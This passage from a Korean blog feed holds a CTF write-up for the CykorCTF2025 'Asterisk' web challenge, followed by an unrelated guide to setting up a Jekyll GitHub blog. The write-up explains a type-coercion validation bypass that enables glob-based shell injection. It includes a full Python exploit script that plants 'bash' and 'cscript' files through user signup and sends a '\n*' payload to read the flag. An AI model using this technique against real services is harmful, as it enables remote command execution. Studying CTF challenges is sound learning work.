            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">    User </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s"> exists, trying to login...</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># 2. Login
</span>        <span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET_URL</span><span class="si">}</span><span class="s">/login</span><span class="sh">"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="p">{</span><span class="sh">"</span><span class="s">username</span><span class="sh">"</span><span class="p">:</span> <span class="n">username</span><span class="p">,</span> <span class="sh">"</span><span class="s">password</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">password123</span><span class="sh">"</span><span class="p">})</span>
        
        <span class="c1"># 에러 체크 강화
</span>        <span class="k">if</span> <span class="ow">not</span> <span class="n">r</span><span class="p">.</span><span class="nf">json</span><span class="p">().</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">ok</span><span class="sh">"</span><span class="p">):</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Login failed for </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Server Error: </span><span class="si">{</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
            
        <span class="c1"># 3. Save Code
</span>        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Saving payload to </span><span class="si">{</span><span class="n">username</span><span class="si">}</span><span class="s">...</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET_URL</span><span class="si">}</span><span class="s">/save</span><span class="sh">"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="p">{</span><span class="sh">"</span><span class="s">code</span><span class="sh">"</span><span class="p">:</span> <span class="n">code</span><span class="p">})</span>
        <span class="k">if</span> <span class="ow">not</span> <span class="n">r</span><span class="p">.</span><span class="nf">json</span><span class="p">().</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">ok</span><span class="sh">"</span><span class="p">):</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[-] Save failed: </span><span class="si">{</span><span class="n">r</span><span class="p">.</span><span class="n">text</span><span class="si">}</span><span class="sh">"</span><span class="p">)</span>
            <span class="n">sys</span><span class="p">.</span><span class="nf">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

    <span class="k">def</span> <span class="nf">exploit</span><span class="p">():</span>
        <span class="n">s</span> <span class="o">=</span> <span class="n">requests</span><span class="p">.</span><span class="nc">Session</span><span class="p">()</span>
        
        <span class="c1"># [수정됨] 유저 이름에서 밑줄(_) 제거!
</span>        
        <span class="c1"># Step 1: 'bash' (명령어)
</span>        <span class="nf">register_and_save</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="sh">"</span><span class="s">bash</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">dummy</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Step 2: 'cscript' (실행할 스크립트 파일)
</span>        <span class="c1"># 내용: 플래그 파일 읽기
</span>        <span class="nf">register_and_save</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="sh">"</span><span class="s">cscript</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">cat /flag</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="c1"># Step 3: 'ztrigger' (공격 트리거용 유저)
</span>        <span class="c1"># 출력 많이 하기
</span>        <span class="n">trigger_code</span> <span class="o">=</span> <span class="sh">"</span><span class="se">\n</span><span class="sh">"</span><span class="p">.</span><span class="nf">join</span><span class="p">([</span><span class="sh">"</span><span class="s">input s</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">print s</span><span class="sh">"</span><span class="p">]</span> <span class="o">*</span> <span class="mi">10</span><span class="p">)</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[*] Registering trigger user...</span><span class="sh">"</span><span class="p">)</span>
        <span class="c1"># 여기도 이름 변경: z_trigger -&gt; ztrigger
</span>        <span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET_URL</span><span class="si">}</span><span class="s">/signup</span><span class="sh">"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="p">{</span><span class="sh">"</span><span class="s">username</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">ztrigger</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">password</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">password123</span><span class="sh">"</span><span class="p">})</span>
        <span class="n">s</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET_URL</span><span class="si">}</span><span class="s">/login</span><span class="sh">"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="p">{</span><span class="sh">"</span><span class="s">username</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">ztrigger</span><span class="sh">"</span><span class="p">,</span> <span class="sh">"</span><span class="s">password</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="s">password123</span><span class="sh">"</span><span class="p">})</span>
        
        <span class="c1"># Step 4: 공격 실행
</span>        <span class="c1"># '\n*' -&gt; 쉘 확장 -&gt; bash cscript users.json ztrigger ...
</span>        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[*] Sending exploit payload...</span><span class="sh">"</span><span class="p">)</span>
        <span class="n">r</span> <span class="o">=</span> <span class="n">s</span><span class="p">.</span><span class="nf">post</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="si">{</span><span class="n">TARGET_URL</span><span class="si">}</span><span class="s">/submit</span><span class="sh">"</span><span class="p">,</span> <span class="n">json</span><span class="o">=</span><span class="p">{</span>
            <span class="sh">"</span><span class="s">code</span><span class="sh">"</span><span class="p">:</span> <span class="n">trigger_code</span><span class="p">,</span>
            <span class="sh">"</span><span class="s">input</span><span class="sh">"</span><span class="p">:</span> <span class="sh">"</span><span class="se">\n</span><span class="s">*</span><span class="sh">"</span> 
        <span class="p">})</span>
        
        <span class="n">response</span> <span class="o">=</span> <span class="n">r</span><span class="p">.</span><span class="nf">json</span><span class="p">()</span>
        <span class="n">stdout</span> <span class="o">=</span> <span class="n">response</span><span class="p">.</span><span class="nf">get</span><span class="p">(</span><span class="sh">"</span><span class="s">stdout</span><span class="sh">"</span><span class="p">,</span> <span class="sh">""</span><span class="p">)</span>
        
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="se">\n</span><span class="sh">"</span> <span class="o">+</span> <span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">20</span> <span class="o">+</span> <span class="sh">"</span><span class="s"> FULL OUTPUT </span><span class="sh">"</span> <span class="o">+</span> <span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">20</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="n">stdout</span><span class="p">)</span>
        <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">=</span><span class="sh">"</span><span class="o">*</span><span class="mi">53</span> <span class="o">+</span> <span class="sh">"</span><span class="se">\n</span><span class="sh">"</span><span class="p">)</span>
        
        <span class="k">if</span> <span class="sh">"</span><span class="s">CyKor{</span><span class="sh">"</span> <span class="ow">in</span> <span class="n">stdout</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sa">f</span><span class="sh">"</span><span class="s">[+] SUCCESS! Flag found in output.</span><span class="sh">"</span><span class="p">)</span>
        <span class="k">else</span><span class="p">:</span>
            <span class="nf">print</span><span class="p">(</span><span class="sh">"</span><span class="s">[-] Flag not found immediately. Check the FULL OUTPUT above.</span><span class="sh">"</span><span class="p">)</span>

    <span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="sh">"</span><span class="s">__main__</span><span class="sh">"</span><span class="p">:</span>
        <span class="nf">exploit</span><span class="p">()</span>
</code></pre></div>    </div>

  </div>
</details>]]></content><author><name>cityofwonder</name></author><category term="📂/wargame/web-wargame" /><category term="📂/CTF/CykorCTF2025" /><category term="web" /><category term="wargame" /><category term="globbing attack" /><category term="input validaion bypass" /><summary type="html"><![CDATA[🔸[Cykor2025-web-1]Asterisk 💡 Just print * ! The flag format is CyKor{ }. Please verify your exploit locally first before asking for an instance. 🙏 You can use the pow-solver.py file to obtain a container instance. http://54.180.15.185:8080/ 문제 구조 C:. │ Dockerfile │ pow-solver.py │ └─server │ core.js │ index.js │ package-lock.json │ package.json │ ├─bin │ mini-run.js │ ├─public │ app.html │ index.html │ login.html │ signup.html │ └─users users.json 💡 전체 로드맵 CykorCTF2025-asterisk 풀이 전체 로드맵 1. 👀 primitive - static analysis 첫 시작은 index.js를 분석하는 것이다. why? .html 과 .json은 제끼는 이유 -&gt; html은 사용자의 브라우저에서 실행되는 코드로, 아무리 조작해도 서버에 영향이 없음. XSS공격에선 유의미할 수 있으나, 해당 문제에선 서버 장악(RCE) 가 필요하기 때문에 ❌. -&gt; json은 데이터/설정이므로, 실행능력이 없음. 공격의 결과물로 바뀔 수는 있어도 공격의 시작점이 될 순 없다! ❌. .js 중에서도 index.js를 보는 이유 (entry point / 종속성 관점) entry point { "name": "asterisk", "version": "2.0.0", "private": true, "type": "commonjs", "main": "index.js", "scripts": { "start": "node index.js" }, "dependencies": { "express": "^5.1.0", "express-session": "^1.18.2" } } “start”: “node index.js”에서 서버를 켜면 index.js가 가장 먼저 실행되는 것을 알 수 있다. 종속성 한편, index.js는 쉘 명령어를 통해 mini-run.js를, mini-run.js는 core.js를 호출하고 있다. index.js mini-run.js index.js 안에서의 데이터 흐름의 분석 과정은 다음과 같다. Backwards tracing: 시스템을 장악할 수 있는 함수 (sink) 위주로 검색하기 검색 키워드: spawn, exec, eval, system, query index.js - shell 실행 spawn 함수 이 가운데에서도 spawn 함수만 indexing 된다. 해당 함수는 sh를 실행하는데, 그 변수가 되는 shell은 input으로부터 오는 것을 알 수 있다. shell을 만들 때 쓰이는 input을 거꾸로 따라가기 input은 runWithEchoPipeline의 arg1 runWithEchoPipeline의 호출 지점 shell을 만드는 input은 정의를 따라가보면 runWithEchoPipeline의 arg1이고, runWithEchoPipeline의 모든 참조를 따라가보면 위 사진과 같이 두 지점에서 호출하고 있는 것을 확인할 수 있다. 순서대로 다음과 같다. 💡Enpoint? app.get(‘/주소’, …): GET 요청을 받는 입구 app.post(‘/주소’, …): POST 요청을 받는 입구 소스 코드에서 app.post(‘/submit’이라는 글자를 보자마자 브라우저나 파이썬으로 http://서버주소/submit에 POST 요청을 보내면 이 함수가 실행될 것을 알 수 있음. // submit handler app.post('/submit', ... async (req, res) =&gt; { // [Source] 사용자가 보낸 데이터에서 'input'을 꺼냄 const { code, input } = req.body || {}; // [Sink] 사용자가 보낸 'input'을 그대로 함수에 넣음 -&gt; 공격 가능! const r = await runWithEchoPipeline({ code, input }); // ... }); app.post('/judge-all', ... async (req, res) =&gt; { const { code } = req.body || {}; // 여기서는 'code'만 꺼내고 'input'은 안 꺼냄 // [Sanitization] 서버가 스스로 'input' 값을 1부터 99까지 강제로 만듦 const inputs = Array.from({ length: 99 }, (_, i) =&gt; String(i + 1)); for (const t of inputs) { // [Safe] 사용자가 뭘 보내든 상관없이, 여기 들어가는 t는 무조건 "1", "2"... const r = await runWithEchoPipeline({ code, input: t }); // ... } }); submit handler vs judge-all handler 따라서 위와 같은 경우 submit handler가 취약할 수 있음을 이해할 수 있다. submit handler에서 통과하는 shell이 하는 동작 관찰하기 const shell = `echo ${input} | node ../bin/mini-run.js --b64code '${b64code}'`;에 ‘\n*‘를 넘기게 되면, echo * | node ... 가 동작하게 된다. 쉘에서 줄바꿈은 “앞의 명령어를 끝내고, 다음 명령어를 시작해라”라는 뜻으로 세미콜론과 같은 역할을 하므로, 와일드카드(*)가 동작하는 두번째 명령어가 중요하다. 예를 들어 echo * 결과가 아래와 같다면 순서대로 {실행할 프로그램(명령어)} {args0 args1 ...} 로 인식하게 된다. &gt; echo * &gt;&gt; python3 hello.py hi &gt; * //python3 hello.py hi &gt;&gt; hi 같은 원리로 bash cscript와 같은 명령어도 실행할 수 있다. 다시금 쉘 프로그램을 실행하여 미리 만들어둔 바이너리를 실행할 수 있는 것이다(cat ./flag.txt) ⇨ 입력 검증값 우회, shell injection ⇨ RCE🚨 shell을 만들 때 쓰이는 input을 거꾸로 따라가기; runWithEchoPipeline 함수의 validateTestInput 이렇게 runWithEchoPipeline에서 초기화된 input 변수가 shell injection에 중요한 역할을 한다는 것을 알게되었으므로, input 값에 대한 filtering 조건 이 있는지 확인해봐야한다. 💡 NOTE submit 발생 &gt; runWithEchoPipeline &gt; !! &gt; shell 실행 으로 이어지는데, runWithEchoPipeline의 흐름 이 때 validateTestInput이 filter 역할을 한다. validateTestInput의 정의 validateTestInput의 정의 부분은 다음과 같이 구현되어있다.(index.js) function validateTestInput(inp) { // 1. 타입 검사: 입력값이 문자열이 아니면 차단 if (typeof inp !== 'string') return false; // 2. 길이 검사: 글자 수는 1글자 또는 2글자여야 함 // 이 제약 때문에 긴 공격 코드는 넣을 수 없지만, '\n*' 같은 2글자 공격은 가능 if (inp.length &lt; 1 || inp.length &gt; 2) return false; // 3. 비교 기준값 1 설정 (숫자) // [!] check 변수에 문자열 "0"이 아니라, 숫자(Number) 0을 할당 const check = 0; // 4. 비교 기준값 2 설정 (문자열) // 복잡해 보이지만, 결과적으로 upper는 문자열 "9"가 됨 // check(0) -&gt; "0" -&gt; ASCII(48) -&gt; +9(57) -&gt; ASCII 57은 "9" const upper = String.fromCharCode(check.toString().charCodeAt(0) + 9); // 5. 반복문: 입력된 문자열을 한 글자씩 검사 for (const ch of inp) { // 6. 핵심 취약점 발생 지점 // 논리: (ch &gt;= 0) 또는 (ch &lt;= "9") 중 하나라도 참이면 통과 if (!(ch &gt;= check || ch &lt;= upper)) return false; } return true; } 구조는 아래 설명과 같다. 자바스크립트에서 문자열과 숫자를 비교할 때, 자바스크립트 엔진은 문자열을 숫자로 강제 변환(Type Coercion)하여 비교한다. 일반적인 문자 ‘a’, ‘z’ 등은 Number(‘a’)가 NaN이 되어 NaN &gt;= 0은 false가 되지만, 공백 문자( )나 개행 문자(\n, \t)는 숫자로 변환하면 0이 되므로, 줄바꿈 등 Shell injection에 치명적인 문자들을 허용해주게 된다. 한편 두 condition 중 어느것 하나만 만족하면 되기 때문에, 후자도 관찰해보면 바로 ASCII 코드 상에서 “9”보다 작으면(ASCII 코드값 0x57) 통과된 다는 것이다. 이 두개의 느슨한 명제 때문에 아래가 가능하다 아스키 57보다 작은 문자들: ! (33), “ (34), # (35), $, %, &amp;, ‘, (, ), * (42), +, ,, -, ., /. validateTestInput의 작동 개요 Globbing attack을 통한 shell injection을 가능하게 하기 위한 파일 생성 gadget 찾기 우리는 이제껏 index.js의 submit 핸들러를 트리거 – 즉, login.html에서 로그인 성공 후 접근 가능한 app.html의 code 컴포넌트에 validateTestInput 조건에 맞는 값을 입력(아래 3. Dynamic Analysis with Docker에 기술) – 함으로써 시스템 장악 == Globbing attack을 통한 shell injection이 가능함을 관찰했다. 그러나 이 때 중요한 지점은, validateTestInput의 검증에 의해(1-4 기술 참고) 파일 생성 Gadget이 필수란 것이다. index.js에서 WriteFile 함수 호출 부분 찾기 Globbing attack의 요구사항: 파일 생성 가능 / 파일 이름, 내용 커스텀 가능 writeUsers: 파일 이름이 고정됨 (USERS_DB), 파일 내용은 json 형식으로 실행할 수 없음. ❌ saveUserCodeToBin: 파일 이름은 username, 파일 내용은 code로 모두 커스텀 가능 💯 따라서 Globbing이 가능한 saveUserCodeToBin을 참조하고 있는 지점을 아래 두 사진과 같이 따라가 보자. saveUserCodeToBin의 참조 지점(1) 참조 지점(2), (3) /judge-all은 앞선 정적분석에서 사용하지 않을 것으로 이미 판단했기 때문에, /submit과 /save에서 파일 저장을 트리거할 수 있단 것을 염두에 두어야한다. submit handler와 save handler의 위치 파악 server/public/*.html에서 submit handler 참조 확인하기 app.html에서 submit handler 호출 확인하기 server/public/*html에서 save handler 참조 확인하기 app.html에서 save hanlder 호출 확인하기 정확히 어떤 POST 요청에 대해 어떤 값이 날라가는지는 docker setting 후 개발자 도구에서 관찰할 수 있다. 2. Setting docker for Debugging 나는 디버깅 안되면 절대 익스를 못 작성하는데, 딱히 그러지 않고도 잘 솔브 하는 사람을 보면 신기하다.. 주어진 도커파일을 참고하면, EXPOSE 3000 포트를 사용하므로 Dockerfile이 있는 디렉터리에서 아래를 실행하면 된다. docker build -t asterisk . docker run -d -p 3000:3000 --name asterisk_chall asterisk docker exec -it asterisk_chall /bin/bash docker setting 완료 후 run까지만 해도 http://localhost:3000 접속은 가능하다. 익스 과정에서 서버 내부 상황을 보고싶다면 exec까지 실행해주면 된다. 3. Dynamic Analysis with Docker 메인 페이지에서 보이는 몇개 버튼을 눌러보면 http://localhost:3000/nnn.html 와 같은 방식으로 접속되는 것을 확인할 수 있다. 별도의 경로를 주지 않아도 index.html이 보이는 이유는? 웹서버의 convention으로, 웹 서버(Node.js/Express, Apache, Nginx 등)는 주소 뒤에 특정 파일명을 적지 않고 루트(Root, /)만 요청하면, 자동으로 “기본 파일”을 찾아서 보여주도록 설계되어있으며, 그 기본파일의 이름이 index.html이 되는 것 app.use(express.static(path.join(__dirname, 'public'))); 대부분의 서버는 위와 같이 사용자가 디렉터리만 요청하고 파일명을 안 적었을 경우, 그 폴더 안의 index.html이 있는지를 찾아보고 -&gt; 있으면 사용자에게 그걸 보여주도록 하는 코드를 포함하고 있음.(index.js의 23번 line) 관찰을 토대로, submit endpoint에 접근하기 위해 ‘1. static analysis’의 마지막 부분에서 확인한 app.html을 경로로 넘겨줘보면, 바로 …/login.html로 리다이렉트 된다. 이로부터 다음 세가지를 알 수 있다. 일단 app.html이 서버에 있긴 함(없으면 404 반환) app.html은 로그인을 거쳐야 접근할 수 있는 페이지임 submit endpoint에 접근하기 위해 index.html &gt; login.html &gt;..&gt; app.html을 거쳐야함 'app.html' 호출 문자열 index login.html에서 'app.html'을 호출하는 지점 위 두 사진을 참고하면, login.html에서 로그인 성공시 app.html로 이동하게 된다. 그렇담 확인한 취약점은 app.html에 있기 때문에 아무 계정으로 로그인하고 app.html 페이지로 넘어간다.(계정정보는 server의 /app/server/users에 기록) app.html에서 submit handler 호출 확인하기 submit handler는 $(‘#submit’)이 눌릴 때 트리거된다. 따라서 아래와 같이 식별할 수 있다. 브라우저 console 탭에서 버튼 식별하기 그렇담 이제 해당 버튼을 눌렀을 때 어떤 액션이 일어나는지 디버깅 해볼 차례다. 브라우저 sources 탭에서 관찰 코드 식별하여 bp 걸고 실행하기 적당한 값과 함께 $(‘#submit’)버튼을 누르면 bp에 걸리고, 원하는 변수에 마우스온 함으로써 페이지 기준 아래쪽 칸의 값(5678) input 변수로 들어간다는 것을 알 수 있으며, 이는 마저 실행하면서 실제 이벤트가 발생됨에 따라 Network 탭에서도 아래 두번째 사진처럼 확인 가능하다. bp 걸린 후 값 확인하기 브라우저 Network 탭에서 값 관찰 ✅ SUMMARY index.js &gt; mini_run.js &gt; core.js로 실행됨 정적분석: Req.body를 받아 sh의 인자로 넘김. /submit 엔드포인트가 중요. 이 때 sh의 인자로 넘기기 전에 길이 및 ASCII 범위 제한을 검토하는 validation이 존재하는데, 여기서 충분히 걸러내지 못하면서(js의 강제 형변환) 🚨shell injection🚨이 가능해짐 동적분석: docker 실행하고 브라우저 접속하면 input이 login 성공 후 접속 가능한 app.html의 좌측 상단에서 두번째 칸, 엔드포인트는 Run 버튼 클릭 시 호출됨을 알 수 있음. 4. exploit 작성 🎮Exploit Code🎮 import requests import json import sys # [중요] 문제 서버 URL (맨 뒤 슬래시 '/' 제거 필수) # 예: http://54.180.15.185:8080/play/Qm... TARGET_URL = "http://54.180.15.185:8080/play/Qm44xPxHsE1bZUtoO7ZDq0zDCexLiwGT" def register_and_save(s, username, code): # 1. Signup print(f"[*] Registering user: {username}") r = s.post(f"{TARGET_URL}/signup", json={"username": username, "password": "password123"}) if "Username already exists" in r.text: print(f" User {username} exists, trying to login...") # 2. Login r = s.post(f"{TARGET_URL}/login", json={"username": username, "password": "password123"}) # 에러 체크 강화 if not r.json().get("ok"): print(f"[-] Login failed for {username}") print(f"[-] Server Error: {r.text}") sys.exit(1) # 3. Save Code print(f"[*] Saving payload to {username}...") r = s.post(f"{TARGET_URL}/save", json={"code": code}) if not r.json().get("ok"): print(f"[-] Save failed: {r.text}") sys.exit(1) def exploit(): s = requests.Session() # [수정됨] 유저 이름에서 밑줄(_) 제거! # Step 1: 'bash' (명령어) register_and_save(s, "bash", "dummy") # Step 2: 'cscript' (실행할 스크립트 파일) # 내용: 플래그 파일 읽기 register_and_save(s, "cscript", "cat /flag") # Step 3: 'ztrigger' (공격 트리거용 유저) # 출력 많이 하기 trigger_code = "\n".join(["input s", "print s"] * 10) print(f"[*] Registering trigger user...") # 여기도 이름 변경: z_trigger -&gt; ztrigger r = s.post(f"{TARGET_URL}/signup", json={"username": "ztrigger", "password": "password123"}) s.post(f"{TARGET_URL}/login", json={"username": "ztrigger", "password": "password123"}) # Step 4: 공격 실행 # '\n*' -&gt; 쉘 확장 -&gt; bash cscript users.json ztrigger ... print("[*] Sending exploit payload...") r = s.post(f"{TARGET_URL}/submit", json={ "code": trigger_code, "input": "\n*" }) response = r.json() stdout = response.get("stdout", "") print("\n" + "="*20 + " FULL OUTPUT " + "="*20) print(stdout) print("="*53 + "\n") if "CyKor{" in stdout: print(f"[+] SUCCESS! Flag found in output.") else: print("[-] Flag not found immediately. Check the FULL OUTPUT above.") if __name__ == "__main__": exploit()]]></summary></entry><entry><title type="html">[etc 00.] 깃허브 블로그를 시작하며 / Window github blog setiing / trouble shooting, jeffereytse’s theme 기준 커스텀</title><link href="https://cityofwonder.github.io/2025/11/16/How-to-start-Github-blog/" rel="alternate" type="text/html" title="[etc 00.] 깃허브 블로그를 시작하며 / Window github blog setiing / trouble shooting, jeffereytse’s theme 기준 커스텀" /><published>2025-11-16T00:00:00+00:00</published><updated>2025-11-16T00:00:00+00:00</updated><id>https://cityofwonder.github.io/2025/11/16/How-to-start-Github-blog</id><content type="html" xml:base="https://cityofwonder.github.io/2025/11/16/How-to-start-Github-blog/"><![CDATA[<h2 id="-개요"><strong>📍 개요</strong></h2>

<p>github 블로그를 시작하게 되었다. 기존에 tistory 블로그를 운영했는데, 사용할 수 있는 스킨이 제한적이라 자꾸 커스텀 욕구가 올라와서 github으로 이관하게 되었다.</p>

<p>🧷 [tistory blog]<a href="https://0nehundred4ndt3n.tistory.com/">https://0nehundred4ndt3n.tistory.com/</a></p>

<p>막상 쓰려고 github blog를 이것저것 만져본지 한달 정도 되어가는 시점에, 한편으론 매번 md 작성하고 push하는 과정이 귀찮기도 해서 아마 tistory와 github 둘 다 적절히 사용하지 않을까 싶다.
ㄴ</p>

<h2 id="-how-to-start-github-blog-in-window"><strong>📍 How to start Github blog in Window</strong></h2>

<h3 id="1-ruby-gem-설치--jekyll-bundler-설치"><strong>1. ruby, gem 설치 / Jekyll, Bundler 설치</strong></h3>

<p>이미 설치된 경우 아래와 같이 확인 가능하다.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> ruby <span class="nt">--version</span>
<span class="o">&gt;</span> gem <span class="nt">--version</span>
</code></pre></div></div>

<p><img src="/assets/images/2025-11-16-How-to-start-Github-blog/2025-11-16-1.png" alt="image.png" /></p>

<p>그렇지 않은 경우 아래 사이트에서 설치마법사를 받아 진행한다. 이 때 중요한 것은, <strong>“Add Ruby executables to your PATH”</strong> 옵션을 체크해야만 한다. windows 외의 Host PC에서 진행하는 경우, 하기 사이트를 참고한다.</p>

<p>🧷 [ruby 설치마법사] <a href="https://rubyinstaller.org/downloads/">https://rubyinstaller.org/downloads/</a></p>

<p>🧷 [ruby 설치 가이드 in Windows, mac, Linux] <a href="https://wikidocs.net/275696">https://wikidocs.net/275696</a></p>

<p><img src="/assets/images/2025-11-16-How-to-start-Github-blog/2025-11-16-2.png" alt="64bit 윈도우의 경우 위 파일 설치" /></p>

<p>64bit 윈도우의 경우 위 파일 설치</p>

<p>다음을 실행해 Jekyll과 Bundler 를 설치한다. 각각 테마 관리(설치), 의존성(플러그인) 관리+로컬테스트 목적이다.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> gem <span class="nb">install </span>jekyll bundler
</code></pre></div></div>

<h3 id="2-git-repository-site이름gihubio생성--원하는-테마-선택--git-copy--git-push"><strong>2. git repository ({site이름}.gihub.io)생성 / 원하는 테마 선택 + git copy / git push</strong></h3>

<p>public 옵션을 체크하여 <code class="language-plaintext highlighter-rouge">*{site이름}.gihub.io</code>* repository를 생성한다. 그 외 옵션은 크게 중요치 않다.(맘대로)</p>

<p>다음을 실행해 로컬에 git clone을 해준다. clone한 디렉터리(로컬)에서 수정 후→ bundler로 체크한 다음→ 수정사항을 push하면 배포가 되는 식이다.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> git clone https://github.com/...github.io
</code></pre></div></div>

<p>이제 jekyll theme을 고른다. theme 마다 적용 방법이 대동소이 할 수 있으므로, Readme를 적극적으로 참고할 필요가 있다. 해당 블로그는 아래 첨부된 jeffreytse의 테마를 적용했다.</p>

<p>🧷 [jekyll theme] <a href="https://github.com/topics/jekyll-theme">https://github.com/topics/jekyll-theme</a></p>

<p>🧷 [jeffereytse’s theme] <a href="https://github.com/jeffreytse/jekyll-theme-yat">https://github.com/jeffreytse/jekyll-theme-yat</a></p>

<p>로컬 테스트 단계는 생략하고 바로 copy로 넘어가도록 하겠다. (Powershell 기준)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> git clone https://github.com/jeffreytse/jekyll-theme-yat.git yat-full
<span class="o">&gt;</span> <span class="nb">cd </span>yat-full
yat-full&gt; Copy-Item <span class="nt">-Recurse</span> <span class="nt">-Force</span> <span class="k">*</span> ..<span class="se">\c</span>ityofwonder.github.io<span class="se">\</span>
yat-full&gt; <span class="nb">cd</span> ..<span class="se">\c</span>ityofwonder.github.io
..github.io&gt; Remove-Item <span class="nt">-Recurse</span> <span class="nt">-Force</span> ..<span class="se">\y</span>at-full
..github.io&gt; Remove-Item <span class="nt">-Recurse</span> <span class="nt">-Force</span> backup
</code></pre></div></div>

<p>덧붙여 해당 테마의 경우 about.markdown, about.html이 모두 있어 일부 정리해주었다. (다 마치고 나니 안하는게 나았을 것 같기도 하다)</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>..github.io&gt; Remove-Item about.markdown
..github.io&gt; Remove-Item index.markdown
..github.io&gt; Remove-Item .jekyll-cache <span class="nt">-Recurse</span> <span class="nt">-Force</span>
..github.io&gt; Remove-Item _site <span class="nt">-Recurse</span> <span class="nt">-Force</span>
</code></pre></div></div>

<p>이렇게 clone한 디렉터리에 변경사항이 쌓이면, git도 알 수 있도록 push해주어야한다.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git add <span class="nb">.</span>
git commit <span class="nt">-m</span> <span class="s2">"{원하는 커밋 메시지}"</span>
git push origin main
</code></pre></div></div>

<h3 id="2-1-error-remote-불일치--branch-불일치">2-1. (error) remote 불일치 / branch 불일치</h3>

<p>이 때, main, branch, 변경사항 불일치 등의 여러 이유로 에러가 발생할 수 있다. 에러 메시지를 잘 읽고 해결해야한다. 각각 다음과 같다.</p>

<p>⇒ remote 불일치</p>

<p><code class="language-plaintext highlighter-rouge">*PS C:\Users\jshrb\[cityofwonder.github.io](http://cityofwonder.github.io/)&gt; git push origin main
remote: Permission to jeffreytse/jekyll-theme-yat.git denied to cityofwonder.*</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> git remote <span class="nt">-v</span>
<span class="o">&gt;</span> git remote set-url origin https://github.com/cityofwonder/cityofwonder.github.io.git
<span class="o">&gt;</span> git push origin main
</code></pre></div></div>

<p>⇒ branch 불일치</p>

<p><code class="language-plaintext highlighter-rouge">*PS C:\Users\jshrb\[cityofwonder.github.io](http://cityofwonder.github.io/)&gt; git commit -m "Import yat theme and configure blog"
On branch master
Your branch is ahead of 'origin/master' by 1 commit.
(use "git push" to publish your local commits)
nothing to commit, working tree clean*</code></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">&gt;</span> git branch <span class="nt">-M</span> main
<span class="o">&gt;</span> git push <span class="nt">-u</span> origin main <span class="nt">--force</span>
</code></pre></div></div>

<h3 id="3-live-demo-확인--커스텀">3. Live Demo 확인 / 커스텀</h3>

